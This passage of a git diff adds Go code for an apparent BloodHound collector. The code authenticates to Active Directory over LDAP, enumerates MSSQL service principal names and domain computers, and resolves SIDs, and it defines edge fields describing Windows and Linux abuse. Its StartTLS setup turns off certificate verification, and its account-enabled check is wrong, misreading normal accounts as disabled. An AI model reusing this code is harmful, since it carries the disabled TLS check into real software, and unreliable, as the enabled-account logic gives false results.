%v", bindErr)) + } + + // Try GSSAPI + fmt.Printf(" Trying GSSAPI bind over StartTLS...\n") + if bindErr := c.gssapiBind(conn, dc); bindErr == nil { + fmt.Println(" Connected via LDAP+StartTLS + GSSAPI") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr)) + } + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr)) + } + conn.Close() + } else { + fmt.Printf(" LDAP:389 connection failed: %v\n", err) + } + + // Try plain LDAP with NTLM (has built-in encryption via NTLM sealing) + fmt.Printf(" Trying plain LDAP on %s:389 with NTLM...\n", dc) + conn, err = dialLDAP(dc) + if err == nil { + conn.SetTimeout(30 * time.Second) + if bindErr := c.ntlmBind(conn); bindErr == nil { + fmt.Println(" Connected via LDAP + NTLM") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 NTLM: %v", bindErr)) + } + conn.Close() + } + + return fmt.Errorf("all LDAP authentication methods failed with explicit credentials:\n %s", strings.Join(errors, "\n ")) +} + +// connectWithCurrentUser tries GSSAPI authentication with the current user's credentials +func (c *Client) connectWithCurrentUser(dc, serverName string) error { + var errors []string + + // Try LDAPS first (port 636) - most reliable with channel binding + fmt.Printf(" Trying LDAPS on %s:636 (GSSAPI, current user)...\n", dc) + conn, err := dialLDAPS(dc, serverName) + if err == nil { + conn.SetTimeout(30 * time.Second) + bindErr := c.gssapiBind(conn, dc) + if bindErr == nil { + fmt.Println(" Connected via LDAPS + GSSAPI (current user)") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } + errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr)) + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err)) + fmt.Printf(" LDAPS:636 connection failed: %v\n", err) + } + + // Try StartTLS on port 389 + fmt.Printf(" Trying LDAP on %s:389 with StartTLS (GSSAPI, current user)...\n", dc) + conn, err = dialLDAP(dc) + if err == nil { + conn.SetTimeout(30 * time.Second) + tlsErr := c.startTLS(conn, dc) + if tlsErr == nil { + bindErr2 := c.gssapiBind(conn, dc) + if bindErr2 == nil { + fmt.Println(" Connected via LDAP+StartTLS + GSSAPI (current user)") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr2)) + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr)) + } + conn.Close() + } + + // Try plain LDAP without TLS (may work if DC doesn't require signing) + fmt.Printf(" Trying plain LDAP on %s:389 (GSSAPI, current user)...\n", dc) + conn, err = dialLDAP(dc) + if err == nil { + conn.SetTimeout(30 * time.Second) + bindErr3 := c.gssapiBind(conn, dc) + if bindErr3 == nil { + fmt.Println(" Connected via LDAP + GSSAPI (current user)") + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } + errors = append(errors, fmt.Sprintf("LDAP:389 GSSAPI: %v", bindErr3)) + conn.Close() + } + + // Provide helpful troubleshooting message + errMsg := fmt.Sprintf("all LDAP connection methods failed: %s", strings.Join(errors, "; ")) + + // Check for common issues and provide suggestions + if containsAny(errors, "80090346", "Invalid Credentials") { + errMsg += "\n\nTroubleshooting suggestions for Kerberos authentication failures:" + errMsg += "\n 1. Verify your Kerberos ticket is valid: run 'klist' to check" + errMsg += "\n 2. Check time synchronization with the domain controller" + errMsg += "\n 3. Try using explicit credentials with --ldap-user and --ldap-password" + errMsg += "\n 4. If EPA (Extended Protection) is enabled, explicit credentials may be required" + } + if containsAny(errors, "Strong Auth Required", "integrity checking") { + errMsg += "\n\nNote: The domain controller requires LDAP signing. GSSAPI should provide this," + errMsg += "\n but if it's failing, try using explicit credentials which enables NTLM or Simple Bind." + } + + return fmt.Errorf("%s", errMsg) +} + +// containsAny checks if any of the error strings contain any of the substrings +func containsAny(errors []string, substrings ...string) bool { + for _, err := range errors { + for _, sub := range substrings { + if strings.Contains(err, sub) { + return true + } + } + } + return false +} + +// ntlmBind performs NTLM authentication +func (c *Client) ntlmBind(conn *ldap.Conn) error { + // Parse domain and username + domain := c.domain + username := c.ldapUser + + if strings.Contains(username, "\\") { + parts := strings.SplitN(username, "\\", 2) + domain = parts[0] + username = parts[1] + } else if strings.Contains(username, "@") { + parts := strings.SplitN(username, "@", 2) + username = parts[0] + domain = parts[1] + } + + return conn.NTLMBind(domain, username, c.ldapPassword) +} + +// simpleBind performs simple LDAP authentication (requires TLS for security) +// This is a fallback when NTLM and GSSAPI fail +func (c *Client) simpleBind(conn *ldap.Conn) error { + // Build the bind DN - try multiple formats + username := c.ldapUser + + // If it's already a DN format, use it directly + if strings.Contains(strings.ToLower(username), "cn=") || strings.Contains(strings.ToLower(username), "dc=") { + return conn.Bind(username, c.ldapPassword) + } + + // Try UPN format (user@domain) first - most compatible + if strings.Contains(username, "@") { + if err := conn.Bind(username, c.ldapPassword); err == nil { + return nil + } + } + + // Try DOMAIN\user format converted to UPN + if strings.Contains(username, "\\") { + parts := strings.SplitN(username, "\\", 2) + upn := fmt.Sprintf("%s@%s", parts[1], parts[0]) + if err := conn.Bind(upn, c.ldapPassword); err == nil { + return nil + } + } + + // Try constructing UPN with the domain + if !strings.Contains(username, "@") && !strings.Contains(username, "\\") { + upn := fmt.Sprintf("%s@%s", username, c.domain) + if err := conn.Bind(upn, c.ldapPassword); err == nil { + return nil + } + } + + // Final attempt with original username + return conn.Bind(username, c.ldapPassword) +} + +func (c *Client) gssapiBind(conn *ldap.Conn, dc string) error { + gssClient, closeFn, err := newGSSAPIClient(c.domain, c.ldapUser, c.ldapPassword) + if err != nil { + return err + } + defer closeFn() + + serviceHost := dc + if !strings.Contains(serviceHost, ".") && c.domain != "" { + serviceHost = fmt.Sprintf("%s.%s", dc, c.domain) + } + + servicePrincipal := fmt.Sprintf("ldap/%s", strings.ToLower(serviceHost)) + if err := conn.GSSAPIBind(gssClient, servicePrincipal, ""); err == nil { + return nil + } else { + // Retry with short hostname SPN if FQDN failed. + shortHost := strings.SplitN(serviceHost, ".", 2)[0] + if shortHost != "" && shortHost != serviceHost { + fallbackSPN := fmt.Sprintf("ldap/%s", strings.ToLower(shortHost)) + if err2 := conn.GSSAPIBind(gssClient, fallbackSPN, ""); err2 == nil { + return nil + } + return fmt.Errorf("GSSAPI bind failed for %s (%v) and %s", servicePrincipal, err, fallbackSPN) + } + return fmt.Errorf("GSSAPI bind failed for %s: %w", servicePrincipal, err) + } +} + +func (c *Client) startTLS(conn *ldap.Conn, dc string) error { + serverName := dc + if !strings.Contains(serverName, ".") && c.domain != "" { + serverName = fmt.Sprintf("%s.%s", dc, c.domain) + } + + return conn.StartTLS(&tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, + }) +} + +// Close closes the LDAP connection +func (c *Client) Close() error { + if c.conn != nil { + c.conn.Close() + } + return nil +} + +// resolveDomainController attempts to find a domain controller for the domain +func (c *Client) resolveDomainController() (string, error) { + ctx := context.Background() + + // Try SRV record lookup + _, addrs, err := c.resolver.LookupSRV(ctx, "ldap", "tcp", c.domain) + if err == nil && len(addrs) > 0 { + return strings.TrimSuffix(addrs[0].Target, "."), nil + } + + // Fall back to using domain name directly + return c.domain, nil +} + +// EnumerateMSSQLSPNs finds all MSSQL service principal names in the domain +func (c *Client) EnumerateMSSQLSPNs() ([]types.SPN, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + // Search for accounts with MSSQLSvc SPNs + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(servicePrincipalName=MSSQLSvc/*)", + []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"}, + nil, + ) + + // Use paging to handle large result sets + var spns []types.SPN + pagingControl := ldap.NewControlPaging(1000) + searchRequest.Controls = append(searchRequest.Controls, pagingControl) + + for { + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + for _, entry := range result.Entries { + accountName := entry.GetAttributeValue("sAMAccountName") + sidBytes := entry.GetRawAttributeValue("objectSid") + accountSID := decodeSID(sidBytes) + + for _, spn := range entry.GetAttributeValues("servicePrincipalName") { + if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") { + continue + } + + parsed := parseSPN(spn) + parsed.AccountName = accountName + parsed.AccountSID = accountSID + + spns = append(spns, parsed) + } + } + + // Check if there are more pages + pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging) + if pagingResult == nil { + break + } + pagingCtrl := pagingResult.(*ldap.ControlPaging) + if len(pagingCtrl.Cookie) == 0 { + break + } + pagingControl.SetCookie(pagingCtrl.Cookie) + } + + return spns, nil +} + +// LookupMSSQLSPNsForHost finds MSSQL SPNs for a specific hostname +func (c *Client) LookupMSSQLSPNsForHost(hostname string) ([]types.SPN, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + // Extract short hostname for matching + shortHost := hostname + if idx := strings.Index(hostname, "."); idx > 0 { + shortHost = hostname[:idx] + } + + // Search for SPNs matching this hostname (MSSQLSvc/hostname or MSSQLSvc/hostname.domain) + // Use a wildcard search to catch both short and FQDN forms + filter := fmt.Sprintf("(|(servicePrincipalName=MSSQLSvc/%s*)(servicePrincipalName=MSSQLSvc/%s*))", shortHost, hostname) + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + filter, + []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + var spns []types.SPN + + for _, entry := range result.Entries { + accountName := entry.GetAttributeValue("sAMAccountName") + sidBytes := entry.GetRawAttributeValue("objectSid") + accountSID := decodeSID(sidBytes) + + for _, spn := range entry.GetAttributeValues("servicePrincipalName") { + if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") { + continue + } + + // Verify this SPN matches our target hostname + parsed := parseSPN(spn) + spnHost := strings.ToLower(parsed.Hostname) + targetHost := strings.ToLower(hostname) + targetShort := strings.ToLower(shortHost) + + // Check if the SPN hostname matches our target + if spnHost == targetHost || spnHost == targetShort || + strings.HasPrefix(spnHost, targetShort+".") { + parsed.AccountName = accountName + parsed.AccountSID = accountSID + spns = append(spns, parsed) + } + } + } + + return spns, nil +} + +// EnumerateAllComputers returns all computer objects in the domain +func (c *Client) EnumerateAllComputers() ([]string, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectCategory=computer)(objectClass=computer))", + []string{"dNSHostName", "name"}, + nil, + ) + + // Use paging to handle large result sets (AD default limit is 1000) + var computers []string + pagingControl := ldap.NewControlPaging(1000) + searchRequest.Controls = append(searchRequest.Controls, pagingControl) + + for { + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + for _, entry := range result.Entries { + hostname := entry.GetAttributeValue("dNSHostName") + if hostname == "" { + hostname = entry.GetAttributeValue("name") + } + if hostname != "" { + computers = append(computers, hostname) + } + } + + // Check if there are more pages + pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging) + if pagingResult == nil { + break + } + pagingCtrl := pagingResult.(*ldap.ControlPaging) + if len(pagingCtrl.Cookie) == 0 { + break + } + pagingControl.SetCookie(pagingCtrl.Cookie) + } + + return computers, nil +} + +// ResolveSID resolves a SID to a domain principal +func (c *Client) ResolveSID(sid string) (*types.DomainPrincipal, error) { + // Check cache first + if cached, ok := c.sidCache[sid]; ok { + return cached, nil + } + + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + // Convert SID string to binary for LDAP search + sidFilter := fmt.Sprintf("(objectSid=%s)", escapeSIDForLDAP(sid)) + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 1, 0, false, + sidFilter, + []string{"sAMAccountName", "distinguishedName", "objectClass", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + if len(result.Entries) == 0 { + return nil, fmt.Errorf("SID not found: %s", sid) + } + + entry := result.Entries[0] + + principal := &types.DomainPrincipal{ + SID: sid, + SAMAccountName: entry.GetAttributeValue("sAMAccountName"), + DistinguishedName: entry.GetAttributeValue("distinguishedName"), + Domain: c.domain, + MemberOf: entry.GetAttributeValues("memberOf"), + } + + // Determine object class + classes := entry.GetAttributeValues("objectClass") + for _, class := range classes { + switch strings.ToLower(class) { + case "user": + principal.ObjectClass = "user" + case "group": + principal.ObjectClass = "group" + case "computer": + principal.ObjectClass = "computer" + } + } + + // Determine if enabled (for users/computers) + uac := entry.GetAttributeValue("userAccountControl") + if uac != "" { + // UAC flag 0x0002 = ACCOUNTDISABLE + principal.Enabled = !strings.Contains(uac, "2") + } + + // Store raw LDAP attributes for AD enrichment on nodes + dnsHostName := entry.GetAttributeValue("dNSHostName") + userPrincipalName := entry.GetAttributeValue("userPrincipalName") + principal.DNSHostName = dnsHostName + principal.UserPrincipalName = userPrincipalName + + // Set the Name based on object class to match PowerShell behavior: + // - For computers: use DNSHostName (FQDN) if available, otherwise SAMAccountName + // - For users: use userPrincipalName if available, otherwise DOMAIN\SAMAccountName + // - For groups: use DOMAIN\SAMAccountName + switch principal.ObjectClass { + case "computer": + if dnsHostName != "" { + principal.Name = dnsHostName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + case "user": + if userPrincipalName != "" { + principal.Name = userPrincipalName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + default: + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + principal.ObjectIdentifier = sid + + // Cache the result + c.sidCache[sid] = principal + + return principal, nil +} + +// ResolveName resolves a name (DOMAIN\user or user@domain) to a domain principal +func (c *Client) ResolveName(name string) (*types.DomainPrincipal, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + var samAccountName string + + // Parse the name format + if strings.Contains(name, "\\") { + parts := strings.SplitN(name, "\\", 2) + samAccountName = parts[1] + } else if strings.Contains(name, "@") { + parts := strings.SplitN(name, "@", 2) + samAccountName = parts[0] + } else { + samAccountName = name + } + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 1, 0, false, + fmt.Sprintf("(sAMAccountName=%s)", ldap.EscapeFilter(samAccountName)), + []string{"sAMAccountName", "distinguishedName", "objectClass", "objectSid", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + if len(result.Entries) == 0 { + return nil, fmt.Errorf("name not found: %s", name) + } + + entry := result.Entries[0] + sidBytes := entry.GetRawAttributeValue("objectSid") + sid := decodeSID(sidBytes) + + principal := &types.DomainPrincipal{ + SID: sid, + SAMAccountName: entry.GetAttributeValue("sAMAccountName"), + DistinguishedName: entry.GetAttributeValue("distinguishedName"), + Domain: c.domain, + MemberOf: entry.GetAttributeValues("memberOf"), + ObjectIdentifier: sid, + } + + // Determine object class + classes := entry.GetAttributeValues("objectClass") + for _, class := range classes { + switch strings.ToLower(class) { + case "user": + principal.ObjectClass = "user" + case "group": + principal.ObjectClass = "group" + case "computer": + principal.ObjectClass = "computer" + } + } + + // Store raw LDAP attributes for AD enrichment on nodes + dnsHostName := entry.GetAttributeValue("dNSHostName") + userPrincipalName := entry.GetAttributeValue("userPrincipalName") + principal.DNSHostName = dnsHostName + principal.UserPrincipalName = userPrincipalName + + // Set the Name based on object class to match PowerShell behavior + switch principal.ObjectClass { + case "computer": + if dnsHostName != "" { + principal.Name = dnsHostName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + case "user": + if userPrincipalName != "" { + principal.Name = userPrincipalName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + default: + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + + // Cache by SID + c.sidCache[sid] = principal + + return principal, nil +} + +// ValidateDomain checks if a domain is reachable and valid +func (c *Client) ValidateDomain(domain string) bool { + // Check cache + if valid, ok := c.domainCache[domain]; ok { + return valid + } + + ctx := context.Background() + + // Try to resolve the domain + addrs, err := c.resolver.LookupHost(ctx, domain) + if err != nil { + c.domainCache[domain] = false + return false + } + + // Check if the IP is private (RFC 1918) unless skipped + if !c.skipPrivateCheck { + for _, addr := range addrs { + ip := net.ParseIP(addr) + if ip != nil && isPrivateIP(ip) { + c.domainCache[domain] = true + return true + } + } + // No private IPs found + c.domainCache[domain] = false + return false + } + + c.domainCache[domain] = len(addrs) > 0 + return len(addrs) > 0 +} + +// ResolveComputerSID resolves a computer name to its SID +// The computer name can be provided with or without the trailing $ +func (c *Client) ResolveComputerSID(computerName string) (string, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return "", err + } + } + + // Ensure computer name ends with $ for the sAMAccountName search + samName := computerName + if !strings.HasSuffix(samName, "$") { + samName = samName + "$" + } + + // Check cache + if cached, ok := c.sidCache[samName]; ok { + return cached.SID, nil + } + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 1, 0, false, + fmt.Sprintf("(&(objectClass=computer)(sAMAccountName=%s))", ldap.EscapeFilter(samName)), + []string{"sAMAccountName", "objectSid"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return "", fmt.Errorf("LDAP search failed: %w", err) + } + + if len(result.Entries) == 0 { + return "", fmt.Errorf("computer not found: %s", computerName) + } + + entry := result.Entries[0] + sidBytes := entry.GetRawAttributeValue("objectSid") + sid := decodeSID(sidBytes) + + if sid == "" { + return "", fmt.Errorf("could not decode SID for computer: %s", computerName) + } + + // Cache the result + c.sidCache[samName] = &types.DomainPrincipal{ + SID: sid, + SAMAccountName: entry.GetAttributeValue("sAMAccountName"), + ObjectClass: "computer", + } + + return sid, nil +} + +// Helper functions + +// domainToDN converts a domain name to an LDAP distinguished name +func domainToDN(domain string) string { + parts := strings.Split(domain, ".") + var dnParts []string + for _, part := range parts { + dnParts = append(dnParts, fmt.Sprintf("DC=%s", part)) + } + return strings.Join(dnParts, ",") +} + +// parseSPN parses an SPN string into its components +func parseSPN(spn string) types.SPN { + result := types.SPN{FullSPN: spn} + + // Format: service/host:port or service/host + parts := strings.SplitN(spn, "/", 2) + if len(parts) < 2 { + return result + } + + result.ServiceClass = parts[0] + hostPart := parts[1] + + // Check for port or instance name + if idx := strings.Index(hostPart, ":"); idx != -1 { + result.Hostname = hostPart[:idx] + portOrInstance := hostPart[idx+1:] + + // If it's a number, it's a port; otherwise instance name + if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil { + result.Port = portOrInstance + } else { + result.InstanceName = portOrInstance + } + } else { + result.Hostname = hostPart + } + + return result +} + +// decodeSID converts a binary SID to a string representation +func decodeSID(b []byte) string { + if len(b) < 8 { + return "" + } + + revision := b[0] + subAuthCount := int(b[1]) + + // Build authority (6 bytes, big-endian) + var authority uint64 + for i := 2; i < 8; i++ { + authority = (authority << 8) | uint64(b[i]) + } + + // Build SID string + sid := fmt.Sprintf("S-%d-%d", revision, authority) + + // Add sub-authorities (4 bytes each, little-endian) + for i := 0; i < subAuthCount && 8+i*4+4 <= len(b); i++ { + subAuth := uint32(b[8+i*4]) | + uint32(b[8+i*4+1])<<8 | + uint32(b[8+i*4+2])<<16 | + uint32(b[8+i*4+3])<<24 + sid += fmt.Sprintf("-%d", subAuth) + } + + return sid +} + +// escapeSIDForLDAP escapes a SID string for use in an LDAP filter +// This converts a SID like S-1-5-21-xxx to its binary escaped form +func escapeSIDForLDAP(sid string) string { + // For now, use a simpler approach - search by string + // In production, you'd want to convert the SID to binary and escape it + return ldap.EscapeFilter(sid) +} + +// isPrivateIP checks if an IP address is in a private range (RFC 1918) +func isPrivateIP(ip net.IP) bool { + if ip4 := ip.To4(); ip4 != nil { + // 10.0.0.0/8 + if ip4[0] == 10 { + return true + } + // 172.16.0.0/12 + if ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31 { + return true + } + // 192.168.0.0/16 + if ip4[0] == 192 && ip4[1] == 168 { + return true + } + } + return false +} diff --git a/internal/ad/gssapi_nonwindows.go b/internal/ad/gssapi_nonwindows.go new file mode 100644 index 0000000..ed5e7b9 --- /dev/null +++ b/internal/ad/gssapi_nonwindows.go @@ -0,0 +1,14 @@ +//go:build !windows +// +build !windows + +package ad + +import ( + "fmt" + + "github.com/go-ldap/ldap/v3" +) + +func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) { + return nil, nil, fmt.Errorf("GSSAPI/Kerberos SSPI is only supported on Windows") +} diff --git a/internal/ad/gssapi_windows.go b/internal/ad/gssapi_windows.go new file mode 100644 index 0000000..3c844c4 --- /dev/null +++ b/internal/ad/gssapi_windows.go @@ -0,0 +1,58 @@ +//go:build windows +// +build windows + +package ad + +import ( + "fmt" + "strings" + + "github.com/go-ldap/ldap/v3" + "github.com/go-ldap/ldap/v3/gssapi" +) + +func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) { + if user != "" && password != "" { + // Try multiple credential forms to satisfy SSPI requirements. + if strings.Contains(user, "@") { + parts := strings.SplitN(user, "@", 2) + upnDomain := parts[1] + upnUser := parts[0] + + // First try DOMAIN + username (common for SSPI). + if client, err := gssapi.NewSSPIClientWithUserCredentials(upnDomain, upnUser, password); err == nil { + return client, client.Close, nil + } + + // Fallback: pass full UPN as username with empty domain. + if client, err := gssapi.NewSSPIClientWithUserCredentials("", user, password); err == nil { + return client, client.Close, nil + } + } else { + userDomain, username := splitDomainUser(user, domain) + if client, err := gssapi.NewSSPIClientWithUserCredentials(userDomain, username, password); err == nil { + return client, client.Close, nil + } + } + + return nil, nil, fmt.Errorf("failed to acquire SSPI credentials for provided user") + } + + client, err := gssapi.NewSSPIClient() + if err != nil { + return nil, nil, err + } + return client, client.Close, nil +} + +func splitDomainUser(user, fallbackDomain string) (string, string) { + if strings.Contains(user, "\\") { + parts := strings.SplitN(user, "\\", 2) + return parts[0], parts[1] + } + if strings.Contains(user, "@") { + // For UPN formats, pass the full UPN as the username and leave domain empty. + return "", user + } + return fallbackDomain, user +} diff --git a/internal/ad/sid_nonwindows.go b/internal/ad/sid_nonwindows.go new file mode 100644 index 0000000..8ee2dcc --- /dev/null +++ b/internal/ad/sid_nonwindows.go @@ -0,0 +1,24 @@ +//go:build !windows +// +build !windows + +package ad + +import "fmt" + +// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs +// On non-Windows platforms, this returns an error since Windows APIs aren't available +func ResolveComputerSIDWindows(computerName, domain string) (string, error) { + return "", fmt.Errorf("Windows API SID resolution not available on this platform") +} + +// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID +// On non-Windows platforms, this returns an error +func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) { + return "", fmt.Errorf("Windows API SID resolution not available on this platform") +} + +// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs +// On non-Windows platforms, this returns an error since Windows APIs aren't available +func ResolveAccountSIDWindows(accountName string) (string, error) { + return "", fmt.Errorf("Windows API SID resolution not available on this platform") +} diff --git a/internal/ad/sid_windows.go b/internal/ad/sid_windows.go new file mode 100644 index 0000000..4cfd636 --- /dev/null +++ b/internal/ad/sid_windows.go @@ -0,0 +1,144 @@ +//go:build windows +// +build windows + +package ad + +import ( + "fmt" + "strings" + "syscall" + "unsafe" +) + +var ( + modNetapi32 = syscall.NewLazyDLL("netapi32.dll") + modAdvapi32 = syscall.NewLazyDLL("advapi32.dll") + procNetUserGetInfo = modNetapi32.NewProc("NetUserGetInfo") + procNetApiBufferFree = modNetapi32.NewProc("NetApiBufferFree") + procDsGetDcNameW = modNetapi32.NewProc("DsGetDcNameW") + procLookupAccountNameW = modAdvapi32.NewProc("LookupAccountNameW") + procConvertSidToStringSidW = modAdvapi32.NewProc("ConvertSidToStringSidW") + procLocalFree = syscall.NewLazyDLL("kernel32.dll").NewProc("LocalFree") +) + +// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs +// This is more reliable than LDAP GSSAPI on Windows +func ResolveComputerSIDWindows(computerName, domain string) (string, error) { + // Format the computer name with $ suffix for the account + accountName := computerName + if !strings.HasSuffix(accountName, "$") { + accountName = accountName + "$" + } + + // If it's an FQDN, strip the domain part + if strings.Contains(accountName, ".") { + parts := strings.SplitN(accountName, ".", 2) + accountName = parts[0] + if !strings.HasSuffix(accountName, "$") { + accountName = accountName + "$" + } + } + + // Try with domain prefix + if domain != "" { + fullName := domain + "\\" + accountName + sid, err := lookupAccountSID(fullName) + if err == nil && sid != "" { + return sid, nil + } + } + + // Try just the account name + sid, err := lookupAccountSID(accountName) + if err == nil && sid != "" { + return sid, nil + } + + return "", fmt.Errorf("could not resolve SID for computer %s: %v", computerName, err) +} + +// lookupAccountSID uses LookupAccountNameW to get the SID for an account +func lookupAccountSID(accountName string) (string, error) { + accountNamePtr, err := syscall.UTF16PtrFromString(accountName) + if err != nil { + return "", err + } + + // First call to get buffer sizes + var sidSize, domainSize uint32 + var sidUse uint32 + + ret, _, _ := procLookupAccountNameW.Call( + 0, // lpSystemName - NULL for local + uintptr(unsafe.Pointer(accountNamePtr)), + 0, // Sid - NULL to get size + uintptr(unsafe.Pointer(&sidSize)), + 0, // ReferencedDomainName - NULL to get size + uintptr(unsafe.Pointer(&domainSize)), + uintptr(unsafe.Pointer(&sidUse)), + ) + + if sidSize == 0 { + return "", fmt.Errorf("LookupAccountNameW failed to get buffer size") + } + + // Allocate buffers + sid := make([]byte, sidSize) + domain := make([]uint16, domainSize) + + // Second call to get actual data + ret, _, err = procLookupAccountNameW.Call( + 0, + uintptr(unsafe.Pointer(accountNamePtr)), + uintptr(unsafe.Pointer(&sid[0])), + uintptr(unsafe.Pointer(&sidSize)), + uintptr(unsafe.Pointer(&domain[0])), + uintptr(unsafe.Pointer(&domainSize)), + uintptr(unsafe.Pointer(&sidUse)), + ) + + if ret == 0 { + return "", fmt.Errorf("LookupAccountNameW failed: %v", err) + } + + // Convert SID to string + return convertSIDToString(sid) +} + +// convertSIDToString converts a binary SID to string format +func convertSIDToString(sid []byte) (string, error) { + var stringSidPtr *uint16 + + ret, _, err := procConvertSidToStringSidW.Call( + uintptr(unsafe.Pointer(&sid[0])), + uintptr(unsafe.Pointer(&stringSidPtr)), + ) + + if ret == 0 { + return "", fmt.Errorf("ConvertSidToStringSidW failed: %v", err) + } + + defer procLocalFree.Call(uintptr(unsafe.Pointer(stringSidPtr))) + + // Convert UTF16 to string + sidString := syscall.UTF16ToString((*[256]uint16)(unsafe.Pointer(stringSidPtr))[:]) + return sidString, nil +} + +// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID +// This tries to find the computer account and return its full SID +func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) { + // First try the direct Windows API method + sid, err := ResolveComputerSIDWindows(computerName, domain) + if err == nil && sid != "" && strings.HasPrefix(sid, domainSID) { + return sid, nil + } + + return "", fmt.Errorf("could not resolve computer SID using Windows APIs") +} + +// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs +// This works for users, groups, and computers +func ResolveAccountSIDWindows(accountName string) (string, error) { + return lookupAccountSID(accountName) +} diff --git a/internal/bloodhound/edges.go b/internal/bloodhound/edges.go new file mode 100644 index 0000000..96359bd --- /dev/null +++ b/internal/bloodhound/edges.go @@ -0,0 +1,738 @@ +// Package bloodhound provides BloodHound OpenGraph JSON output generation. +// This file contains edge property generators that match the PowerShell version. +package bloodhound + +// EdgeProperties contains the documentation and metadata for an edge +type EdgeProperties struct { + Traversable bool `json:"traversable"` + General string `json:"general"` + WindowsAbuse string `json:"windowsAbuse"` + LinuxAbuse string `json:"linuxAbuse"` + Opsec string `json:"opsec"` + References string `json:"references"` +} + +// EdgeContext provides context for generating edge properties +type EdgeContext struct { + SourceName string + SourceType string + TargetName string + TargetType string + SQLServerName string + DatabaseName string + Permission string + IsFixedRole bool +} + +// GetEdgeProperties returns the properties for a given edge kind +func GetEdgeProperties(kind string, ctx *EdgeContext) map[string]interface{} { + props := make(map[string]interface{}) + + generator, ok := edgePropertyGenerators[kind] + if !ok { + // Default properties for unknown edge types + props["traversable"] = true + props["general"] = "Relationship exists between source and target." + return props + } + + edgeProps := generator(ctx) + props["traversable"] = edgeProps.Traversable + props["general"] = edgeProps.General + props["windowsAbuse"] = edgeProps.WindowsAbuse + props["linuxAbuse"] = edgeProps.LinuxAbuse + props["opsec"] = edgeProps.Opsec + props["references"] = edgeProps.References + + return props +} + +// IsTraversableEdge returns whether an edge type is traversable based on its +// property generator definition. This matches the PowerShell EdgePropertyGenerators +// traversable values. +func IsTraversableEdge(kind string) bool { + // Check against known non-traversable edge types (matching PowerShell EdgePropertyGenerators) + switch kind { + case EdgeKinds.Alter, + EdgeKinds.Control, + EdgeKinds.Impersonate, + EdgeKinds.AlterAnyLogin, + 